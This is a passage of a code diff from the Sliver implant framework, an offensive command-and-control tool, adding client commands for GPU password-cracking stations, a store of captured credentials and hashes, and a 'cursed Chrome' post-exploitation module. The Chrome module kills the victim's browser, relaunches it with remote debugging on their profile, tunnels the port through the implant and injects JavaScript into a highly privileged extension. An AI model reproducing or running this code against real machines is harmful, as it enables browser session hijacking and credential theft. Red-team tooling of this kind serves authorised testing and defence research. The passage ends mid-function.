+		con.PrintInfof("Removed hcstat2: %s\n", hcstat2Name)
+	} else {
+		con.PrintErrorf("Hcstat2 not found: %s\n", hcstat2Name)
+	}
+}

client/command/crack/crack.go

@@ -0,0 +1,147 @@
+package crack
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"sort"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+// CrackCmd - GPU password cracking interface
+func CrackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	if !AreCrackersOnline(con) {
+		PrintNoCrackstations(con)
+	} else {
+		crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.PrintInfof("%d crackstation(s) connected to server\n", len(crackers.Crackstations))
+	}
+	crackFiles, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if len(crackFiles.Files) == 0 {
+		con.PrintInfof("No crack files uploaded to server\n")
+	} else {
+		con.Println()
+		PrintCrackFilesByType(crackFiles, con)
+	}
+}
+
+// CrackStationsCmd - Manage GPU cracking stations
+func CrackStationsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if len(crackers.Crackstations) == 0 {
+		PrintNoCrackstations(con)
+	} else {
+		PrintCrackers(crackers.Crackstations, con)
+	}
+}
+
+func PrintNoCrackstations(con *console.SliverConsoleClient) {
+	con.PrintInfof("No crackstations connected to server\n")
+}
+
+func AreCrackersOnline(con *console.SliverConsoleClient) bool {
+	crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return false
+	}
+	return len(crackers.Crackstations) > 0
+}
+
+func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverConsoleClient) {
+	sort.Slice(crackers, func(i, j int) bool {
+		return crackers[i].Name < crackers[j].Name
+	})
+	for index, cracker := range crackers {
+		printCracker(cracker, index, con)
+		if index < len(crackers)-1 {
+			con.Println()
+			con.Println()
+		}
+	}
+}
+
+func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n")
+	tw.AppendSeparator()
+	tw.AppendRow(table.Row{console.Bold + "Operating System" + console.Normal, fmt.Sprintf("%s/%s", cracker.GOOS, cracker.GOARCH)})
+	tw.AppendRow(table.Row{console.Bold + "Hashcat Version" + console.Normal, cracker.HashcatVersion})
+	if 0 < len(cracker.CUDA) {
+		for _, cuda := range cracker.CUDA {
+			tw.AppendSeparator()
+			tw.AppendRow(table.Row{console.Bold + "CUDA Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, cuda.Name, cuda.Version)})
+			tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", cuda.MemoryFree, cuda.MemoryTotal)})
+			tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", cuda.Clock)})
+			tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", cuda.Processors)})
+		}
+	}
+	if 0 < len(cracker.Metal) {
+		for _, metal := range cracker.Metal {
+			tw.AppendSeparator()
+			tw.AppendRow(table.Row{console.Bold + "Metal Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, metal.Name, metal.Version)})
+			tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", metal.MemoryFree, metal.MemoryTotal)})
+			tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", metal.Clock)})
+			tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", metal.Processors)})
+		}
+	}
+	if 0 < len(cracker.OpenCL) {
+		for _, openCL := range cracker.OpenCL {
+			tw.AppendSeparator()
+			tw.AppendRow(table.Row{console.Bold + "OpenCL Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+console.Bold+"%s (%s)"+console.Normal, openCL.Name, openCL.Version)})
+			tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", openCL.MemoryFree, openCL.MemoryTotal)})
+			tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", openCL.Clock)})
+			tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", openCL.Processors)})
+		}
+	}
+	con.Printf("%s\n", tw.Render())
+	con.Println()
+	printBenchmarks(cracker, con)
+}
+
+func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.SetTitle(console.Bold + "Benchmarks" + console.Normal)
+	tw.SortBy([]table.SortBy{{Name: "Hash Type"}})
+	tw.AppendHeader(table.Row{"Hash Type", "Rate (H/s)"})
+	for hashType, speed := range cracker.Benchmarks {
+		tw.AppendRow(table.Row{clientpb.HashType(hashType), fmt.Sprintf("%d", speed)})
+	}
+	con.Printf("%s\n", tw.Render())
+}

client/command/creds/add.go

@@ -0,0 +1,202 @@
+package creds
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bufio"
+	"context"
+	"os"
+	"strconv"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+)
+
+const (
+	UserColonHashNewlineFormat = "user:hash" // username:hash\n
+	HashNewlineFormat          = "hash"      // hash\n
+	CSVFormat                  = "csv"       // username,hash\n
+)
+
+// CredsCmd - Add new credentials
+func CredsAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	collection := ctx.Flags.String("collection")
+	username := ctx.Flags.String("username")
+	plaintext := ctx.Flags.String("plaintext")
+	hash := ctx.Flags.String("hash")
+	hashType := parseHashType(ctx.Flags.String("hash-type"))
+	if plaintext == "" && hash == "" {
+		con.PrintErrorf("Either a plaintext or a hash must be provided\n")
+		return
+	}
+	if hashType == clientpb.HashType_INVALID {
+		con.PrintErrorf("Invalid hash type '%s'\n", ctx.Flags.String("hash-type"))
+		return
+	}
+	_, err := con.Rpc.CredsAdd(context.Background(), &clientpb.Credentials{
+		Credentials: []*clientpb.Credential{
+			{
+				Collection: collection,
+				Username:   username,
+				Plaintext:  plaintext,
+				Hash:       hash,
+				HashType:   hashType,
+			},
+		},
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	PrintCreds(creds.Credentials, con)
+}
+
+// CredsCmd - Add new credentials
+func CredsAddHashFileCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	collection := ctx.Flags.String("collection")
+	filePath := ctx.Args.String("file")
+	fileFormat := ctx.Flags.String("file-format")
+	if _, err := os.Stat(filePath); os.IsNotExist(err) {
+		con.PrintErrorf("File '%s' does not exist\n", filePath)
+		return
+	}
+	hashType := parseHashType(ctx.Flags.String("hash-type"))
+	if hashType == clientpb.HashType_INVALID {
+		con.PrintErrorf("Invalid hash type '%s'\n", ctx.Flags.String("hash-type"))
+		return
+	}
+
+	con.PrintInfof("Parsing file '%s' as '%s' format ...\n", filePath, fileFormat)
+	var creds *clientpb.Credentials
+	var err error
+	switch fileFormat {
+	case UserColonHashNewlineFormat:
+		creds, err = parseUserColonHashNewline(filePath, hashType)
+	case HashNewlineFormat:
+		creds, err = parseHashNewline(filePath, hashType)
+	case CSVFormat:
+		creds, err = parseCSV(filePath, hashType)
+	default:
+		con.PrintErrorf("Invalid file format '%s', see 'creds add file --help'\n", fileFormat)
+		return
+	}
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	for _, cred := range creds.Credentials {
+		cred.Collection = collection
+	}
+	con.PrintInfof("Adding %d credential(s) ...\n", len(creds.Credentials))
+	_, err = con.Rpc.CredsAdd(context.Background(), creds)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	creds, err = con.Rpc.Creds(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	PrintCreds(creds.Credentials, con)
+}
+
+func parseHashType(raw string) clientpb.HashType {
+	hashInt, err := strconv.Atoi(raw)
+	if err == nil {
+		return clientpb.HashType(hashInt)
+	}
+	return clientpb.HashType_INVALID
+}
+
+func parseUserColonHashNewline(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
+	file, err := os.Open(filePath)
+	if err != nil {
+		return nil, err
+	}
+	defer file.Close()
+
+	scanner := bufio.NewScanner(file)
+	creds := &clientpb.Credentials{}
+	for scanner.Scan() {
+		line := scanner.Text()
+		parts := strings.Split(line, ":")
+		if len(parts) != 2 {
+			continue
+		}
+		creds.Credentials = append(creds.Credentials, &clientpb.Credential{
+			Username: parts[0],
+			Hash:     parts[1],
+			HashType: hashType,
+		})
+	}
+	return creds, nil
+}
+
+func parseHashNewline(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
+	file, err := os.Open(filePath)
+	if err != nil {
+		return nil, err
+	}
+	defer file.Close()
+
+	scanner := bufio.NewScanner(file)
+	creds := &clientpb.Credentials{}
+	for scanner.Scan() {
+		line := scanner.Text()
+		creds.Credentials = append(creds.Credentials, &clientpb.Credential{
+			Hash:     line,
+			HashType: hashType,
+		})
+	}
+	return creds, nil
+}
+
+func parseCSV(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
+	file, err := os.Open(filePath)
+	if err != nil {
+		return nil, err
+	}
+	defer file.Close()
+
+	scanner := bufio.NewScanner(file)
+	creds := &clientpb.Credentials{}
+	scanner.Scan() // skip header
+	for scanner.Scan() {
+		line := scanner.Text()
+		parts := strings.Split(line, ",")
+		if len(parts) < 2 {
+			continue
+		}
+		creds.Credentials = append(creds.Credentials, &clientpb.Credential{
+			Username: parts[0],
+			Hash:     parts[1],
+			HashType: hashType,
+		})
+	}
+	return creds, nil
+}

client/command/creds/creds.go

@@ -0,0 +1,85 @@
+package creds
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+// CredsCmd - Manage credentials
+func CredsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if len(creds.Credentials) == 0 {
+		con.PrintInfof("No credentials 🙁\n")
+		return
+	}
+	PrintCreds(creds.Credentials, con)
+}
+
+func PrintCreds(creds []*clientpb.Credential, con *console.SliverConsoleClient) {
+	collections := make(map[string][]*clientpb.Credential)
+	for _, cred := range creds {
+		collections[cred.Collection] = append(collections[cred.Collection], cred)
+	}
+	for collection, creds := range collections {
+		printCollection(collection, creds, con)
+		con.Println()
+	}
+}
+
+func printCollection(collection string, creds []*clientpb.Credential, con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	if collection != "" {
+		tw.SetTitle(console.Bold + collection + console.Normal)
+	} else {
+		tw.SetTitle(console.Bold + "Default Collection" + console.Normal)
+	}
+	tw.AppendHeader(table.Row{
+		"ID",
+		"Username",
+		"Plaintext",
+		"Hash",
+		"Hash Type",
+		"Cracked",
+	})
+	for _, cred := range creds {
+		tw.AppendRow(table.Row{
+			strings.Split(cred.ID, "-")[0],
+			cred.Username,
+			cred.Plaintext,
+			cred.Hash,
+			cred.HashType,
+			cred.IsCracked,
+		})
+	}
+	con.Printf("%s\n", tw.Render())
+}

client/command/creds/rm.go

@@ -0,0 +1,62 @@
+package creds
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+)
+
+// CredsCmd - Add new credentials
+func CredsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	id := ctx.Flags.String("id")
+	if id == "" {
+		credential, err := SelectCredential(false, clientpb.HashType_INVALID, con)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		id = credential.ID
+	}
+	_, err := con.Rpc.CredsRm(context.Background(), &clientpb.Credentials{
+		Credentials: []*clientpb.Credential{
+			{
+				ID: id,
+			},
+		},
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if len(creds.Credentials) == 0 {
+		con.PrintInfof("No credentials 🙁\n")
+		return
+	}
+	PrintCreds(creds.Credentials, con)
+}

client/command/creds/select.go

@@ -0,0 +1,72 @@
+package creds
+
+import (
+	"bytes"
+	"context"
+	"errors"
+	"fmt"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+)
+
+// SelectCredential - Interactive menu for the user to select a credentials from the database
+func SelectCredential(plaintext bool, hashType clientpb.HashType, con *console.SliverConsoleClient) (*clientpb.Credential, error) {
+	var creds *clientpb.Credentials
+	var err error
+	if hashType == clientpb.HashType_INVALID {
+		creds, err = con.Rpc.Creds(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			return nil, err
+		}
+	} else {
+		creds, err = con.Rpc.GetCredsByHashType(context.Background(), &clientpb.Credential{HashType: hashType})
+		if err != nil {
+			return nil, err
+		}
+	}
+	if len(creds.Credentials) == 0 {
+		return nil, errors.New("no credentials to select from")
+	}
+
+	// Render selection table
+	buf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
+	for _, cred := range creds.Credentials {
+		if cred.Plaintext == "" {
+			fmt.Fprintf(table, "%s\t%s\t%s\t[not cracked]\t\n", strings.Split(cred.ID, "-")[0], cred.Collection, cred.HashType)
+		} else {
+			plaintext := cred.Plaintext
+			if len(plaintext) > 12 {
+				plaintext = plaintext[:12] + "..."
+			}
+			fmt.Fprintf(table, "%s\t%s\t%s\tplaintext: %s\t\n", strings.Split(cred.ID, "-")[0], cred.Collection, cred.HashType, plaintext)
+		}
+	}
+	table.Flush()
+	options := strings.Split(buf.String(), "\n")
+	options = options[:len(options)-1]
+	if len(options) == 0 {
+		return nil, errors.New("no credentials to select from")
+	}
+
+	selected := ""
+	prompt := &survey.Select{
+		Message: "Select a credential:",
+		Options: options,
+	}
+	err = survey.AskOne(prompt, &selected)
+	if err != nil {
+		return nil, err
+	}
+	for index, value := range options {
+		if value == selected {
+			return creds.Credentials[index], nil
+		}
+	}
+	return nil, nil
+}

client/command/cursed/README.md

@@ -0,0 +1,3 @@
+# Cursed
+
+Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).

client/command/cursed/cursed-chrome.go

@@ -0,0 +1,435 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"io/ioutil"
+	"log"
+	insecureRand "math/rand"
+	"strings"
+	"time"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/bishopfox/sliver/client/tcpproxy"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+var (
+	ErrUserDataDirNotFound      = errors.New("could not find Chrome user data dir")
+	ErrChromeExecutableNotFound = errors.New("could not find Chrome executable")
+	ErrUnsupportedOS            = errors.New("unsupported OS")
+
+	windowsDriveLetters = []string{"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
+
+	cursedChromePermissions    = []string{overlord.AllURLs, overlord.WebRequest, overlord.WebRequestBlocking}
+	cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
+)
+
+// CursedChromeCmd - Execute a .NET assembly in-memory
+func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	payloadPath := ctx.Flags.String("payload")
+	var payload []byte
+	var err error
+	if payloadPath != "" {
+		payload, err = ioutil.ReadFile(payloadPath)
+		if err != nil {
+			con.PrintErrorf("Could not read payload file: %s\n", err)
+			return
+		}
+	}
+
+	curse := avadaKedavraChrome(session, ctx, con)
+	if curse == nil {
+		return
+	}
+	if payloadPath == "" {
+		con.PrintWarnf("No Cursed Chrome payload was specified, skipping payload injection.\n")
+		return
+	}
+
+	con.PrintInfof("Searching for Chrome extension with all permissions ... ")
+	chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	// There is one alternative set of permissions that we can use if we don't find an extension
+	// with all the proper permissions.
+	if chromeExt == nil {
+		chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	if chromeExt != nil {
+		con.Printf("success!\n")
+		con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
+		con.PrintInfof("Injecting payload ... ")
+		ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
+		// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
+		// defer cancel()
+		_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.Printf("success!\n")
+	} else {
+		con.Printf("failure!\n")
+		con.PrintInfof("No viable Chrome extensions were found ☹️\n")
+	}
+}
+
+func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
+	chromeProcess, err := getChromeProcess(session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	if chromeProcess != nil {
+		con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
+		con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
+		con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
+		con.Printf("\n")
+		confirm := false
+		err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if !confirm {
+			con.PrintErrorf("User cancel\n")
+			return nil
+		}
+		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
+			Request: con.ActiveTarget.Request(ctx),
+			Pid:     chromeProcess.GetPid(),
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
+			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
+			return nil
+		}
+	}
+	curse, err := startCursedChromeProcess(false, session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	return curse
+}
+
+func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
+	name := "Chrome"
+	if isEdge {
+		name = "Edge"
+	}
+
+	con.PrintInfof("Finding %s executable path ... ", name)
+	chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con)
+	if err != nil {
+		con.Printf("failure!\n")
+		return nil, err
+	}
+	con.Printf("success!\n")
+	con.PrintInfof("Finding %s user data directory ... ", name)
+	chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con)
+	if err != nil {
+		con.Printf("failure!\n")
+		return nil, err
+	}
+	con.Printf("success!\n")
+
+	con.PrintInfof("Starting %s process ... ", name)
+	debugPort := getRemoteDebuggerPort(ctx)
+	args := []string{
+		fmt.Sprintf("--remote-debugging-port=%d", debugPort),
+	}
+	if chromeUserDataDir != "" {
+		args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
+	}
+	if ctx.Flags.Bool("restore") {
+		args = append(args, "--restore-last-session")
+	}
+	if ctx.Flags.Bool("keep-alive") {
+		args = append(args, "--keep-alive-for-test")
+	}
+	if ctx.Flags.Bool("headless") {
+		args = append(args, "--headless")
+	}
+	additionalArgs := ctx.Args.StringList("args")
+	if len(additionalArgs) > 0 {
+		args = append(args, additionalArgs...)
+	}
+
+	// Execute the Chrome process with the extra flags
+	// TODO: PPID spoofing, etc.
+	chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    chromeExePath,
+		Args:    args,
+		Output:  false,
+	})
+	if err != nil {
+		con.Printf("failure!\n")
+		return nil, err
+	}
+	con.Printf("(pid: %d) success!\n", chromeExec.GetPid())
+
+	con.PrintInfof("Waiting for %s process to initialize ... ", name)
+	time.Sleep(2 * time.Second)
+
+	bindPort := insecureRand.Intn(10000) + 40000
+	bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
+
+	remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
+
+	tcpProxy := &tcpproxy.Proxy{}
+	channelProxy := &core.ChannelProxy{
+		Rpc:             con.Rpc,
+		Session:         session,
+		RemoteAddr:      remoteAddr,
+		BindAddr:        bindAddr,
+		KeepAlivePeriod: 60 * time.Second,
+		DialTimeout:     30 * time.Second,
+	}
+	tcpProxy.AddRoute(bindAddr, channelProxy)
+	portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
+
+	curse := &core.CursedProcess{
+		SessionID:         session.ID,
+		PID:               chromeExec.GetPid(),
+		PortFwd:           portFwd,
+		BindTCPPort:       bindPort,
+		Platform:          session.GetOS(),
+		ExePath:           chromeExePath,
+		ChromeUserDataDir: chromeUserDataDir,
+	}
+	core.CursedProcesses.Store(bindPort, curse)
+	go func() {
+		err := tcpProxy.Run()
+		if err != nil {
+			log.Printf("Proxy error %s", err)
+		}
+		core.CursedProcesses.Delete(bindPort)
+	}()
+
+	con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
+
+	return curse, nil
+}
+
+func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
+	userDataFlag := ctx.Flags.String("user-data")
+	if userDataFlag != "" {
+		return userDataFlag, nil
+	}
+
+	switch session.GetOS() {
+
+	case "windows":
+		username := session.GetUsername()
+		if strings.Contains(username, "\\") {
+			username = strings.Split(username, "\\")[1]
+		}
+		for _, driveLetter := range windowsDriveLetters {
+			userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username)
+			if isEdge {
+				userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
+			}
+			ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+				Request: con.ActiveTarget.Request(ctx),
+				Path:    userDataDir,
+			})
+			if err != nil {
+				return "", err
+			}
+			if ls.GetExists() {
+				return userDataDir, nil
+			}
+		}
+		return "", ErrUserDataDirNotFound
+
+	case "darwin":
+		userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username)
+		if isEdge {
+			userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
+		}
+		ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+			Request: con.ActiveTarget.Request(ctx),
+			Path:    userDataDir,
+		})
+		if err != nil {
+			return "", err
+		}
+		if ls.GetExists() {
+			return userDataDir, nil
+		}
+		return "", ErrUserDataDirNotFound
+
+	default:
+		return "", ErrUnsupportedOS
+	}
+}
+
+func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
+	exeFlag := ctx.Flags.String("exe")
+	if exeFlag != "" {
+		return exeFlag, nil
+	}
+
+	switch session.GetOS() {
+
+	case "windows":
+		chromeWindowsPaths := []string{
+			"[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
+			"[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
+			"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
+			"[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe",
+		}
+		if isEdge {
+			chromeWindowsPaths = []string{
+				"[DRIVE]:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
+				"[DRIVE]:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
+				"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
+			}
+		}
+		username := session.GetUsername()
+		if strings.Contains(username, "\\") {
+			username = strings.Split(username, "\\")[1]
+		}
+		for _, driveLetter := range windowsDriveLetters {
+			for _, chromePath := range chromeWindowsPaths {
+				chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
+				chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
+				ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
